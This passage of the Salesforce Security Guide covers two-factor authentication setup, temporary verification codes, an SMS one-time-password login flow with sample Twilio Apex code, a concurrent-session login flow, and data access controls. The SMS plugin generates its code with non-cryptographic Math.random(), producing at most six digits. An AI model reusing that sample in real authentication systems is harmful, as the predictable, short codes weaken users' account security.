Generate a Temporary Identity Verification Code
Generate a temporary verification code for users who can’t access the device they usually use for two-factor authentication. You set
when the code expires, from 1 to 24 hours after you generate it. The code can be used multiple times until it expires.
Expire a Temporary Verification Code
Expire a user’s temporary verification code when the user no longer needs it for two-factor authentication
Delegate Two-Factor Authentication Management Tasks
Let users who aren’t Salesforce admins provide support for two-factor authentication in your org. For example, suppose you want
your company’s Help Desk staff to generate temporary verification codes for users who lost or forgot the device they usually use for
two-factor authentication. Assign Help Desk staff members the “Manage Two-Factor Authentication in User Interface” permission
so that they can generate codes and support end users with other two-factor authentication tasks.
SEE ALSO:
Two-Factor Authentication

Salesforce Security Guide

Configure User Authentication

Set Two-Factor Authentication Login Requirements
As a Salesforce admin, you can require your users to use a second factor of authentication when
they log in.

EDITIONS

You can require two-factor authentication each time a user logs in with a username and password
to Salesforce, including orgs with custom domains created using My Domain. To set the requirement,
select the Two-Factor Authentication for User Interface Logins permission in the user profile
(for cloned profiles only) or permission set.

Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience

See how to set up a two-factor authentication requirement for your org and how your users can
use the Salesforce Authenticator app. Salesforce Authenticator: Set Up a Two-Factor
Authentication Requirement (Salesforce Classic)

Available in: Essentials,
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

Users with the Two-Factor Authentication for User Interface Logins permission have to provide a
second factor, such as a mobile authenticator app or U2F security key, each time they log in to
Salesforce.
You can also use a profile-based policy to set a two-factor authentication requirement for users
assigned to a particular profile. Use the profile policy when you want to require two-factor
authentication for users of the following authentication methods:
• SAML for single sign-on
• Social sign-on in to Salesforce orgs or Communities

USER PERMISSIONS
To edit profiles and
permission sets:
• Manage Profiles and
Permission Sets

• Username and password authentication into Communities
All Salesforce user interface authentication methods, including username and password, delegated authentication, SAML single sign-on,
and social sign-on through an authentication provider, are supported. In the user profile, set Session security level required at login
to High Assurance. Then set session security levels in your org’s session settings to apply the policy for particular login methods. Also
in your org’s session settings, review the session security levels to make sure that Two-Factor Authentication is in the High Assurance
column.
Warning: If Two-Factor Authentication is in the Standard column, users get an error when they log in with a method that grants
standard-level security.
Users might be prompted to verify their identity with two-factor authentication twice during the OAuth approval flow. The first challenge
is on the UI session. The second challenge happens when the access token is bridged into the UI, because the High Assurance session
security level isn’t transferred to the access token.

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Configure User Authentication

Set Two-Factor Authentication Login Requirements and Custom Policies for Single Sign-On, Social
Sign-On, and Communities
Use profile policies and session settings to set two-factor authentication login requirements for
users. All Salesforce user interface authentication methods, including username and password,
delegated authentication, SAML single sign-on, and social sign-on through a third-party
authentication provider, are supported. You can apply the two-factor authentication requirement
to users in Salesforce orgs and Communities.
To require two-factor authentication for users assigned to a particular profile, edit the Session
security level required at login profile setting. Then set session security levels in your org’s session
settings to apply the policy for particular login methods.
By default, the session security requirement at login for all profiles is None. You can edit a profile’s
Session Settings to change the requirement to High Assurance. When profile users with this
requirement use a login method that grants standard-level security instead of high assurance, such
as username and password, they’re prompted to verify their identity with two-factor authentication.
After users authenticate successfully, they’re logged in to Salesforce.
You can edit the security level assigned to a login method in your org’s Session Settings.
Users with mobile devices can use the Salesforce Authenticator mobile app or another authenticator
app for two-factor authentication. Internal users can connect the app to their account in the
Advanced User Details page of their personal settings. If you set the High Assurance requirement
on a profile, any profile user who doesn’t already have Salesforce Authenticator or another
authenticator app connected to their account is prompted to connect the app before they can log
in. After they connect the app, they’re prompted to use the app to verify their identity.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To edit profiles and
permission sets:
• Manage Profiles and
Permission Sets
To generate a temporary
verification code
• Manage Two-Factor
Authentication in User
Interface

Users with registered U2F security keys can use them for two-factor authentication.
Community members with the High Assurance profile requirement are prompted to connect an authenticator app during login.
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. Scroll to Session Settings and find the Session security level required at login setting.
4. Click Edit.
5. For Session security level required at login, select High Assurance.
6. Click Save.
7. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.
8. In Session Security Levels, make sure that Two-Factor Authentication is in the High Assurance column.
If Two-Factor Authentication is in the Standard column, users get an error when they log in with a method that grants standard-level
security.
9.

Note: Consider moving Activation to the High Assurance column. With this setting, users who verify their identity from an
unrecognized browser or app establish a high-assurance session. When Activation is in the High Assurance column, profile
users who verify their identity at login aren’t challenged to verify their identity again to satisfy the high-assurance session
security requirement.
Save your changes.
Example: You’ve configured Facebook and LinkedIn as authentication providers in your community. Many of your community
members use social sign-on to log in using the username and password from their Facebook or LinkedIn accounts. You want to
increase security by requiring Customer Community users to use two-factor authentication when they log in with their Facebook

Salesforce Security Guide

Configure User Authentication

account, but not with their LinkedIn account. You edit the Customer Community User profile and set the Session security level
required at login to High Assurance. In your org’s Session Settings, you edit the Session Security Levels. You place Facebook in
the Standard column. In the High Assurance column, you place Two-Factor Authentication. You also place LinkedIn in the High
Assurance column.
Note: You can also use login flows to change the user’s session security level to initiate identity verification under specific
conditions. Login flows let you build a custom post-authentication process that meets your business requirements.
If users lose or forget the device they usually use for two-factor authentication, you can generate a temporary verification code for them.
You set when the code expires, from 1 to 24 hours after you generate it. Your user can use the code multiple times until it expires. A user
can have only one temporary code at a time. If a user needs a new code while the old code is still valid, you can expire the old code,
then generate a new one. Users can expire their own valid codes in their personal settings.
Note: The High Assurance profile requirement applies to user interface logins. OAuth token exchanges aren’t subject to
the requirement. OAuth refresh tokens that were obtained before a High Assurance requirement is set for a profile can still
be exchanged for access tokens that are valid for the API. Tokens are valid even if they were obtained with a standard-assurance
session. To require users to establish a high-assurance session before accessing the API with an external application, first revoke
existing OAuth tokens for users with that profile. Then set a High Assurance requirement for the profile. Users have to log
in with two-factor authentication and reauthorize the application.

EDITIONS
Available in: both Salesforce
Classic (not available in all
orgs) and Lightning
Experience
Available in: Essentials,
Contact Manager,
Database.com, Developer,
Enterprise, Group,
Performance, Professional,
and Unlimited Editions

USER PERMISSIONS
To edit system permissions
in profiles:
• Manage Profiles and
Permission Sets
To enable this feature:
• Two-Factor
Authentication for User
Interface Logins

Salesforce Security Guide

Configure User Authentication

Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification
The Salesforce Authenticator app on your mobile device is the second factor of authentication. Use
the app to add an extra level of security to your account.

EDITIONS

1. Download and install version 3 or later of the Salesforce Authenticator app for the type of mobile
device you use. For iPhone, get the app from the App Store. For Android devices, get the app
from Google Play.

Salesforce Authenticator
setup available in: both
Salesforce Classic and
Lightning Experience

If you previously installed version 1 of Salesforce Authenticator on your mobile device, you can
update the app to version 3 through the App Store or Google Play. The update preserves any
connected accounts you already have in the app. These accounts are code-only accounts that
generate verification codes but don’t receive push notifications or allow location-based
automated verifications. If you have a code-only account for the username you used for your
current login to Salesforce, swipe left in the app to remove that username before proceeding.
In the following steps, you connect the account for that username again. The new connected
account gives you full Salesforce Authenticator version 3 functionality. If you already have
version 2 installed, version 3 updates are pushed out to you and there is no need to take action.

Mobile app available in:
Essentials, Group,
Professional, Enterprise,
Performance, Unlimited,
Developer, and Contact
Manager Editions

2. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User Details.
No results? Enter Personal Information in the Quick Find box, then select Personal Information.
3. Find App Registration: Salesforce Authenticator and click Connect.
4. For security purposes, you’re prompted to log in to your account.
5. Open the Salesforce Authenticator app on your mobile device.
If you’re opening the app for the first time, you see a tour of the app’s features. Take the tour, or go straight to adding your Salesforce
account to the app.
6. In the app, tap Add an Account to add your account.
The app generates a unique two-word phrase.
7. Back in your browser, enter the phrase in the Two-Word Phrase field.
8. Click Connect.
If you previously connected an authenticator app that generates verification codes to your account, you sometimes see an alert.
Connecting a new version of the Salesforce Authenticator mobile app invalidates the codes from your old app. When you need a
verification code, get it from Salesforce Authenticator from now on.
9. In the Salesforce Authenticator app on your mobile device, you see details about the account you’re connecting. To complete the
account connection, tap Connect in the app.
To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your
Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.
If your administrator requires two-factor authentication for increased security when you log in or access reports or dashboards, use the
app to verify your account activity. If you’re required to use two-factor authentication before you have the app connected, you’re
prompted to connect it the next time you log in to Salesforce. If you don’t yet have the two-factor authentication requirement, you can
still connect the app to your account through your personal settings.
After you connect the app, you get a notification on your mobile device when you do something that requires identity verification. When
you receive the notification, open the app on your mobile device, check the activity details, and respond on your mobile device to verify.
If you are notified about activity you don’t recognize, use the app to block the activity. You can flag the blocked activity for your Salesforce
admin. The app also provides a verification code that you can use as an alternate method of identity verification.

Salesforce Security Guide

Configure User Authentication

Verify Your Identity with a One-Time Password Generator App or Device
Connect a one-time password generator app, such as Salesforce Authenticator or Google
Authenticator, to verify your identity. The app generates a verification code, sometimes called a
“time-based one-time password”.
If your company requires two-factor authentication for increased security when you log in, access
connected apps, reports, or dashboards, use a code from the app. If you’re required to use two-factor
authentication before you have an app connected, you’re prompted to connect one the next time
you log in to Salesforce.

EDITIONS
Available in: Both Salesforce
Classic and Lightning
Experience
Available in: All Editions

1. Download the supported authenticator app for your device type. You can use any authenticator
app that supports the time-based one-time password (TOTP) algorithm (IETF RFC 6238), such as Salesforce Authenticator for iOS,
Salesforce Authenticator for Android, or Google Authenticator.
2. From your personal settings, enter Advanced User Details in the Quick Find box, then select Advanced User Details.
No results? Enter Personal Information in the Quick Find box, then select Personal Information.
3. Find App Registration: One-Time Password Generator and click Connect.
If you’re connecting an authenticator app other than Salesforce Authenticator, use this setting. If you’re connecting Salesforce
Authenticator, use this setting if you’re only using its one-time password generator feature (not the push notifications available in
version 2 or later).
Note: If you’re connecting Salesforce Authenticator so that you can use push notifications, use the App Registration:
Salesforce Authenticator setting instead. That setting enables both push notifications and one-time password
generation.
You can connect up to two authenticator apps to your Salesforce account for one-time password generation: Salesforce Authenticator
and one other authenticator app.
4. For security purposes, you’re prompted to log in to your account.
5. Using the authenticator app on your mobile device, scan the QR code.
Alternatively, click I Can’t Scan the QR Code in your browser. The browser displays a security key. In the authenticator app, enter
your username and the key displayed.
6. In Salesforce, enter the code generated by the authenticator app in the Verification Code field.
The authenticator app generates a new verification code periodically. Enter the current code.
7. Click Connect.
To help keep your account secure, we send you an email notification whenever a new identity verification method is added to your
Salesforce account. You get the email whether you add the method or your Salesforce admin adds it on your behalf.
SEE ALSO:
Salesforce Help: Personalize Your Salesforce Experience

Salesforce Security Guide

Configure User Authentication

Disconnect Salesforce Authenticator (Versions 2 and 3) from a User’s Account
Only one Salesforce Authenticator (version 2 or later) mobile app can be connected to a user’s
account at a time. If your user loses access to the app by replacing or losing the mobile device,
disconnect the app from the user’s account. As long as the user (or assigned profile) still has the
two-factor permission enabled, and no other authenticator method is connected to their account,
Salesforce prompts the user to connect a new authenticator method the next time they log in.
These steps are for Salesforce admins (or users with the “Manage Two-Factor Authentication in
User Interface” permission) who want to disconnect a user’s Salesforce Authenticator account in
an org’s Setup. For example, admins follow these steps when a user loses the device running
Salesforce Authenticator. For users who want to disconnect Salesforce Authenticator on their device
to switch to a new device or simply remove an unused connection, see the help topic Remove an
Account from Salesforce Authenticator (Versions 2 and 3).
1. From Setup, enter Users in the Quick Find box, then select Users.
2. Click the user’s name.
3. On the user’s detail page, click Disconnect next to the App Registration:
Salesforce Authenticator field.

EDITIONS
Available in: Both Salesforce
Classic and Lightning
Experience
Available in: All Editions

USER PERMISSIONS
To disconnect a user’s
Salesforce Authenticator
app:
• Manage Two-Factor
Authentication in User
Interface or the System
Administrator profile

Disconnect a User’s One-Time Password Generator App
Besides Salesforce Authenticator, one other mobile authenticator app that generates verification
codes (one-time passwords) can be connected to a user’s account at a time. If your user loses access
to the app by replacing or losing the mobile device, disconnect the app from your user’s account.
The next time your user logs in with two-factor authentication, if no other identity verification
method is connected, Salesforce prompts the user to connect a new authenticator app.
1. From Setup, enter Users in the Quick Find box, then select Users.
2. Click the user’s name.
3. On the user’s detail page, click Disconnect next to the App Registration: One-Time
Password Generator field.
Your users can disconnect the app from their own account. In personal settings, they go to the
Advanced User Details page and click Disconnect next to the App Registration:
One-Time Password Generator field.

EDITIONS
Available in: Both Salesforce
Classic and Lightning
Experience
Available in: Essentials,
Group, Professional,
Enterprise, Performance,
Unlimited, Developer, and
Contact Manager Editions

USER PERMISSIONS
To disconnect a user’s
authenticator app:
• Manage Two-Factor
Authentication in User
Interface

Salesforce Security Guide

Configure User Authentication

Generate a Temporary Identity Verification Code
Generate a temporary verification code for users who can’t access the device they usually use for
two-factor authentication. You set when the code expires, from 1 to 24 hours after you generate
it. The code can be used multiple times until it expires.
Temporary verification codes are valid for two-factor authentication only. They aren’t valid for device
activations. That is, when users log in from an unrecognized browser or app and we require identity
verification, they can’t use a temporary code.
1. From Setup, enter Users in the Quick Find box, then select Users.
2. Click the name of the user who needs a temporary verification code.
You can’t generate a code for an inactive user.

EDITIONS
Available in: Both Salesforce
Classic and Lightning
Experience
Available in: Essentials,
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

3. Find Temporary Verification Code, then click Generate.
If you don’t already have a session with a high-assurance security level, Salesforce prompts you
to verify your identity.
4. Set when the code expires, and click Generate Code.
5. Give the code to your user, then click Done.
After you click Done, you can’t return to view the code again, and the code isn’t displayed
anywhere in the user interface.

USER PERMISSIONS
To generate a temporary
verification code:
• Manage Two-Factor
Authentication in User
Interface

Your user can use the temporary verification code multiple times until it expires. Each user can have
only one temporary verification code at a time. If a user forgets or loses the code before it expires, you can manually expire the old code
and generate a new one. You can generate up to six codes per hour for each user.
Note: When you add an identity verification method to a user’s account, the user gets an email. To stop sending emails to users
when new identity verification methods are added to their accounts, contact Salesforce.

Expire a Temporary Verification Code
Expire a user’s temporary verification code when the user no longer needs it for two-factor
authentication

EDITIONS

Each user can have only one temporary verification code at a time. If a user forgets or loses the code
before it expires, you can manually expire the old code and generate a new one. You can generate
up to six codes per hour for each user.

Available in: Both Salesforce
Classic and Lightning
Experience

1. From Setup, enter Users in the Quick Find box, then select Users.

Available in: Essentials,
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

2. Click the name of the user whose temporary verification code you need to expire.
3. Find Temporary Verification Code, and click Expire Now.

USER PERMISSIONS
To expire a user’s temporary
verification code:
• Manage Two-Factor
Authentication in User
Interface

Salesforce Security Guide

Configure User Authentication

Delegate Two-Factor Authentication Management Tasks
Let users who aren’t Salesforce admins provide support for two-factor authentication in your org.
For example, suppose you want your company’s Help Desk staff to generate temporary verification
codes for users who lost or forgot the device they usually use for two-factor authentication. Assign
Help Desk staff members the “Manage Two-Factor Authentication in User Interface” permission so
that they can generate codes and support end users with other two-factor authentication tasks.
To assign the permission, select “Manage Two-Factor Authentication in User Interface” in the user
profile (for cloned profiles only) or permission set. Users with the permission can perform the
following tasks.

EDITIONS
Available in: Both Salesforce
Classic and Lightning
Experience

• Generate a temporary verification code for a user who can’t access the device normally used
for two-factor authentication.

Available in: Essentials,
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer Editions

• Disconnect identity verification methods from a user’s account when the user loses or replaces
a device.

USER PERMISSIONS

• View user identity verification activity on the Identity Verification History page.
• View the Identity Verification Methods report by clicking a link on the Identity Verification History
page.
• Create user list views that show which identity verification methods users have registered.

To edit profiles and
permission sets:
• Manage Profiles and
Permission Sets

Note: Although non-admin users with the permission can view the Identity Verification
Methods report, they can’t create custom reports that include data restricted to users with
the “Manage Users” permission.

Deploy Third-Party SMS-Based Two-Factor Authentication
Two-factor authentication (2FA) enhances security when validating a user’s identity and protects access to your Salesforce org. In addition
to a password, SMS-based 2FA requires the user to provide a one-time password (OTP) code received on a mobile device.
To implement 2FA, you can take advantage of a third-party SMS or voice delivery service, like Twilio or TeleSign, together with a Salesforce
login flow.
Let’s break down an SMS-based 2FA process.
1. As the user logs in, the login flow generates a random OTP and sends it via voice or text message to the user’s phone.
2. The user provides the OTP to the Salesforce application.
3. Salesforce verifies the code.
4. If the code is valid, Salesforce permits user access.
The login flow has four steps.

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Configure User Authentication

1. Record lookup—Queries the user record to get the mobile phone number.
2. SMS plug-in—An Apex class that generates the OTP and uses a third-party SMS delivery service to send it to the user’s mobile device.
3. Screen—Prompts the user to provide the received OTP.
4. Decision—Compares the OTP generated by the flow with the one that the user provides. If equal, the flow is completed, and the
user is redirected to the application. Otherwise, the flow generates another code and asks the user to reverify.

Configure the Flow
This example uses the Twilio Apex SDK to perform SMS delivery operations. However, you can use any cloud-based SMS or voice vendor
that has a public API to access its services.
1. Go to the Cloud Flow Designer in Salesforce and create a flow.
2. Create a LoginFlow_UserId input text variable. This variable is populated with the user ID during the login event.

3. Create text variables.
• Mobile—The user’s mobile number
• VerificationCode—The OTP generated by the Apex plug-in
• Code—The OTP collected from the user
• Status—The status returned when the plug-in executes

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Configure User Authentication

4. Create a record lookup that queries the UserObject based on the user ID and stores the mobile number in the Mobile input
variable.

5. Install the Twilio Apex SDK from https://github.com/twilio/twilio-salesforce.
6. To allow the SMS plug-in to perform outbound API calls to Twilio web services, set up https://api.twilio.com as a remote site in
Salesforce. In Setup, enter Remote Site Settings in the Quick Find box, select Remote Site Settings, and add the Twilio
web services URL.

7. Create an Apex class.
01
global class SMSPlugin implements Process.Plugin {
02
03
global Process.PluginDescribeResult describe() {
04
05
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
06
result.tag='Identity';
07
result.name='SMS Plugin';
08
result.description='Two factor authentication with SMS';
09
10
result.inputParameters = new List
{
11
new Process.PluginDescribeResult.InputParameter('AccountSid',
Process.PluginDescribeResult.ParameterType.STRING, true),

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Configure User Authentication

12
new Process.PluginDescribeResult.InputParameter('Token',
Process.PluginDescribeResult.ParameterType.STRING, true),
13
new Process.PluginDescribeResult.InputParameter('To',
Process.PluginDescribeResult.ParameterType.STRING, true),
14
new Process.PluginDescribeResult.InputParameter('From',
Process.PluginDescribeResult.ParameterType.STRING, true),
15
new Process.PluginDescribeResult.InputParameter('Message',
Process.PluginDescribeResult.ParameterType.STRING, true)
16
};
17
18
result.outputParameters = new List
{
19
new Process.PluginDescribeResult.OutputParameter('Status',
Process.PluginDescribeResult.ParameterType.STRING),
20
new Process.PluginDescribeResult.OutputParameter('VerificationCode',
Process.PluginDescribeResult.ParameterType.STRING)
21
};
22
23
return result;
24
25
}
26
27
28
global Process.PluginResult invoke(Process.PluginRequest request) {
29
30
Map result = new Map();
31
String AccountSid = (String)request.inputParameters.get('AccountSid');
32
String token = (String)request.inputParameters.get('Token');
33
String To = (String)request.inputParameters.get('To');
34
String From_a = (String)request.inputParameters.get('From');
35
String Message = (String)request.inputParameters.get('Message');
36
if (Message == null) Message = 'Your verification code is: ';
37
38
TwilioRestClient client = new TwilioRestClient(AccountSid, Token);
39
TwilioSMS sms;
40
41
Integer rand = Math.round(Math.random()*100000);
42
String VerificationCode = string.valueOf(rand);
43
String Body = Message + VerificationCode;
44
45
Map params = new Map {
46
'To' => To,
47
'From' => From_a,
48
'Body' => Body
49
};
50
51
try {
52
sms = client.getAccount().getSMSMessages().create(params);
53
result.put('Status', sms.getStatus());
54
} catch(Exception ex) {
55
result.put('Status', 'Failure');
56
}
57
result.put('VerificationCode', VerificationCode);

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58
59
60

Configure User Authentication

return new Process.PluginResult(result);
}
}

8. Create an SMS plug-in that generates an OTP code and sends it via SMS to the user’s mobile number. The plug-in takes these inputs.
• AccountSid—Twilio Account SID (username from your Twilio account)
• Token—Twilio Auth Token (password from your Twilio account)
• From—The SMS From number
• Message—The message sent to the user with the verification code
• To—The user’s mobile phone number

The plug-in returns two values.
• Status—The status of the SMS delivery operation
• VerificationCode—The verification code generated and sent to the user

9. Create a screen element that prompts for the verification code received.

Salesforce Security Guide

Configure User Authentication

10. Create a decision element with two outcomes.
• Valid—The verification code is the same as the code the user provided.
• Invalid—The valid condition is not met, so the outcome is invalid.

11. Save and activate the flow.
12. Connect the login flow to a user profile.

13. Log out, and then log in as a test user that’s connected with a test profile.

Salesforce Security Guide

Configure User Authentication

Extending the Flow
In a production deployment, it’s common to extend this basic flow. For example, you can add customization, validation, or policies, such
as:
• Branding—Add a corporate logo and message to the verification screen.
• Validation—Verify whether the user record included a phone number. If not, prompt the user to enter one.
• Retries—If the OTP code that the user provides is wrong, the login flow generates a new OTP code and sends it to the user. It’s
typical to limit the number of retries or to temporarily block a user login after several unsuccessful verification attempts.
• Policies—If the user has registered a landline phone but not a mobile phone number, send the OTP over voice rather than SMS.
Alternatively, if Salesforce doesn’t have a registered phone number for the user, send the OTP code by email. Another approach is
to challenge the user with a second authentication factor, such as a Salesforce time-based OTP or a hardware-based OTP, like a
YubiKey.
SEE ALSO:
Login Flow Examples

Limit the Number of Concurrent Sessions with Login Flows
You can use a login flow to restrict the number of simultaneous Salesforce sessions per user.

Install the Concurrent-Sessions Package
The concurrent-sessions unmanaged package includes the elements and sources of a login flow solution. The package includes a plug-in
that retrieves the number of concurrent sessions for a user. If the pending login exceeds the concurrent session limit, the flow blocks it.
You can customize the package, for example, changing the session limit. By default, the package uses a session limit of 1.
1. To install the concurrent-sessions package, go to
https://login.salesforce.com/packaging/installPackage.apexp?p0=04to0000000WR73.

2. After you install the package, you can connect the login flow to user profiles. Assign the flow to profiles for which you want to limit
concurrent sessions.

Salesforce Security Guide

Configure User Authentication

Creating the Package Components
Let’s take a closer look at the components in the concurrent-sessions package. If the package didn’t exist, here’s how you can create the
plug-in and the login flow.
SessionPlugin is an Apex class that retrieves the number of concurrent sessions. The class queries the AuthSession table and sums the
number of sessions, excluding temporary sessions.
1. In Setup, enter Apex Classes in the Quick Find box, and select Apex Classes.
2. To create a class, click New.
3. Copy and paste this code as the Apex class content.
global class SessionPlugin implements Process.Plugin
{
global Process.PluginDescribeResult describe()
{
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.description='This plug-in returns the no of concurrent sessions for the
current user';
result.tag='Identity';
result.inputParameters = new List {
};
result.outputParameters = new List
{
new Process.PluginDescribeResult.OutputParameter('CONCURRENT_NO',
Process.PluginDescribeResult.ParameterType.INTEGER)
};
return result;
}
global Process.PluginResult invoke(Process.PluginRequest request)
{
Map result = new Map();
List sessions;
Integer no = 0;
String userid

= UserInfo.getUserId();

sessions = [Select Id, ParentId, SessionType from AuthSession where
UsersId=:userid];
for (AuthSession s : sessions)
{
// Count only parent and non-temp sessions
if(s.ParentId == null && s.SessionType != 'TempUIFrontdoor' )
{
no++;
}
}
result.put('CONCURRENT_NO', no);
return new Process.PluginResult(result);

Salesforce Security Guide

Configure User Authentication

}
}

Creating the Login Flow
The package’s login flow includes these elements:
• SessionPlugin—The Apex plug-in that queries the number of concurrent sessions.
• Decision—Verifies whether the number of concurrent sessions exceeds the limit. The outcome determines whether the login is
blocked or allowed.
• Block Screen—If the login exceeds the limit, the flow displays the block screen element.
• Assignment—If the login exceeds the limit, this element assigns the LoginFlow_ForceLogout variable to true and
prevents the login.
• Dummy Screen—This element is a placeholder. A flow requires a UI element to follow an output variable.

1. To create a flow, go to the Cloud Flow Designer in Salesforce.
2. On the Resources tab, create a LoginFlow_ForceLogout output variable. When set to true, this variable blocks the login attempt.

3. Create a numeric variable to store the allowed number of concurrent sessions for the user.

4. Create a block screen element.

Salesforce Security Guide

Configure User Authentication

5. Create a dummy screen.

6. Create an assignment element that sets the LoginFlow_ForceLogout output variable to true.

7. Create a decision element that has two outcomes. If the login exceeds the limit, the outcome is Block, which is the default.
Otherwise, the outcome is Allow.

Salesforce Security Guide

Give Users Access to Data

8. Save the flow and its elements.
9. Activate the flow.

10. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.
11. Log out, and then log in as the test user and test the flow.
When you assign the profile to users, Salesforce redirects them at login through the flow. When a login attempt exceeds the limit,
the user sees the block screen and can’t log in. Here’s an example of the block screen in Lightning Experience.

SEE ALSO:
Login Flow Examples

Give Users Access to Data
Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need to find a
balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of data access for your
users.

Salesforce Security Guide

Control Who Sees What

IN THIS SECTION:
Control Who Sees What
Salesforce provides a flexible, layered data sharing design that allows you to expose different data sets to different sets of users, so
users can do their job without seeing data they don't need to see. Use permission sets and profiles to specify the objects and fields
users can access. Use organization-wide sharing settings, user roles, sharing rules to specify the individual records that users can
view and edit.
User Permissions
User permissions specify what tasks users can perform and what features users can access. For example, users with the “View Setup
and Configuration” permission can view Setup pages, and users with the “API Enabled” permission can access any Salesforce API.
Object Permissions
Object permissions specify the base-level access users have to create, read, edit, and delete records for each object. You can manage
object permissions in permission sets and profiles.
Custom Permissions
Use custom permissions to give users access to custom processes or apps.
Profiles
Profiles define how users access objects and data, and what they can do within the application. When you create users, you assign
a profile to each one.
User Role Hierarchy
Salesforce offers a user role hierarchy that you can use with sharing settings to determine the levels of access that users have to your
Salesforce org’s data. Roles within the hierarchy affect access on key components such as records and reports.

Control Who Sees What
Salesforce provides a flexible, layered data sharing design that allows you to expose different data
sets to different sets of users, so users can do their job without seeing data they don't need to see.
Use permission sets and profiles to specify the objects and fields users can access. Use
organization-wide sharing settings, user roles, sharing rules to specify the individual records that
users can view and edit.
Note:

Who Sees What: Overview (English only)

Watch a demo on controlling access to and visibility of your data.
Tip: When implementing security and sharing rules for your organization, make a table of
the various types of users in your organization. In the table, specify the level of access to data
that each type of user needs for each object and for fields and records within the object. You
can refer to this table as you set up your security model.

EDITIONS
Available in: Salesforce
Classic (not available in all
orgs)
The available data
management options vary
according to which
Salesforce Edition you have.

Object-Level Security (Permission Sets and Profiles)
Object-level security—or object permissions—provide the bluntest way to control data. Using object permissions you can prevent
a user from seeing, creating, editing, or deleting any instance of a particular type of object, such as a lead or opportunity. Object
permissions let you hide whole tabs and objects from particular users, so that they don’t even know that type of data exists.
You specify object permissions in permission sets and profiles. Permission sets and profiles are collections of settings and permissions
that determine what a user can do in the application, similar to a group in a Windows network, where all of the members of the
group have the same folder permissions and access to the same software.
Profiles are typically defined by a user’s job function (for example, system administrator or sales representative). A profile can be
assigned to many users, but a user can be assigned to only one profile. You can use permission sets to grant additional permissions

Salesforce Security Guide

Control Who Sees What

and access settings to users. It’s easy to manage users’ permissions and access with permission sets, because you can assign multiple
permission sets to a single user.
Field-Level Security (Permission Sets and Profiles)
In some cases, you may want users to have access to an object, but limit their access to individual fields in that object. Field-level
security—or field permissions—control whether a user can see, edit, and delete the value for a particular field on an object. They
let you protect sensitive fields without having to hide the whole object from users. Field permissions are also controlled in permission
sets and profiles.
Unlike page layouts, which only control the visibility of fields on detail and edit pages, field permissions control the visibility of fields
in any part of the app, including related lists, list views, reports, and search results. To ensure that a user can’t access a particular field,
use field permissions. No other settings provide the same level of protection for a field.
Note: Field-level security doesn’t prevent searching on the values in a field. When search terms match on field values protected
by field-level security, the associated records are returned in the search results without the protected fields and their values.
Record-Level Security (Sharing)
After setting object- and field-level access permissions, you may want to configure access settings for the actual records themselves.
Record-level security lets you give users access to some object records, but not others. Every record is owned by a user or a queue.
The owner has full access to the record. In a hierarchy, users higher in the hierarchy always have the same access to users below
them in the hierarchy. This access applies to records owned by users, as well as records shared with them.
To specify record-level security, set your organization-wide sharing settings, define a hierarchy, and create sharing rules.
• Organization-wide sharing settings—The first step in record-level security is to determine the organization-wide sharing settings
for each object. Organization-wide sharing settings specify the default level of access users have to each others’ records.
You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the other record-level
security and sharing tools to selectively give access to other users. For example, let’s say users have object-level permissions to
read and edit opportunities, and the organization-wide sharing setting is Read-Only. By default, those users can read all opportunity
records, but can’t edit any unless they own the record or are granted additional permissions.
• Role hierarchy—Once you’ve specified organization-wide sharing settings, the first way you can give wider access to records is
with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that a user or group of
users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the same data as people lower
in their hierarchy, regardless of the organization-wide default settings. Role hierarchies don’t have to match your organization
chart exactly. Instead, each role in the hierarchy should represent a level of data access that a user or group of users needs.
You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records based on
criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example, you could create a
territory hierarchy in which a user with the “North America” role has access to different data than users with the “Canada” and
“United States” roles.
Note: Although it’s easy to confuse permission sets and profiles with roles, they control two very different things. Permission
sets and profiles control a user’s object and field access permissions. Roles primarily control a user’s record-level access
through role hierarchy and sharing rules.
• Sharing rules—Sharing rules let you make automatic exceptions to organization-wide sharing settings for particular sets of users,
to give them access to records they don’t own or can’t normally see. Sharing rules, like role hierarchies, are only used to give
additional users access to records—they can’t be stricter than your organization-wide default settings.
• Manual sharing—Sometimes it’s impossible to define a consistent group of users who need access to a particular set of records.
In those situations, record owners can use manual sharing to give read and edit permissions to users who would not have access
to the record any other way. Although manual sharing isn’t automated like organization-wide sharing settings, role hierarchies,
or sharing rules, it gives record owners the flexibility to share particular records with users that need to see them.

Salesforce Security Guide

User Permissions

• Apex managed sharing—If sharing rules and manual sharing don’t give you the control you need, you can use Apex managed
sharing. Apex managed sharing allows developers to programmatically share custom objects. When you use Apex managed
sharing to share a custom object, only users with the “Modify All Data” permission can add or change the sharing on the custom
object's record, and the sharing access is maintained across record owner changes.

User Permissions
User permissions specify what tasks users can perform and what features users can access. For
example, users with the “View Setup and Configuration” permission can view Setup pages, and
users with the “API Enabled” permission can access any Salesforce API.
You can enable user permissions in permission sets and custom profiles. In permission sets and the
enhanced profile user interface, these permissions—as well as their descriptions—are listed in the
App Permissions or System Permissions pages. In the original profile user interface, user permissions
are listed under Administrative Permissions and General User Permissions.
To view permissions and their descriptions, from Setup, enter Permission Sets in the Quick
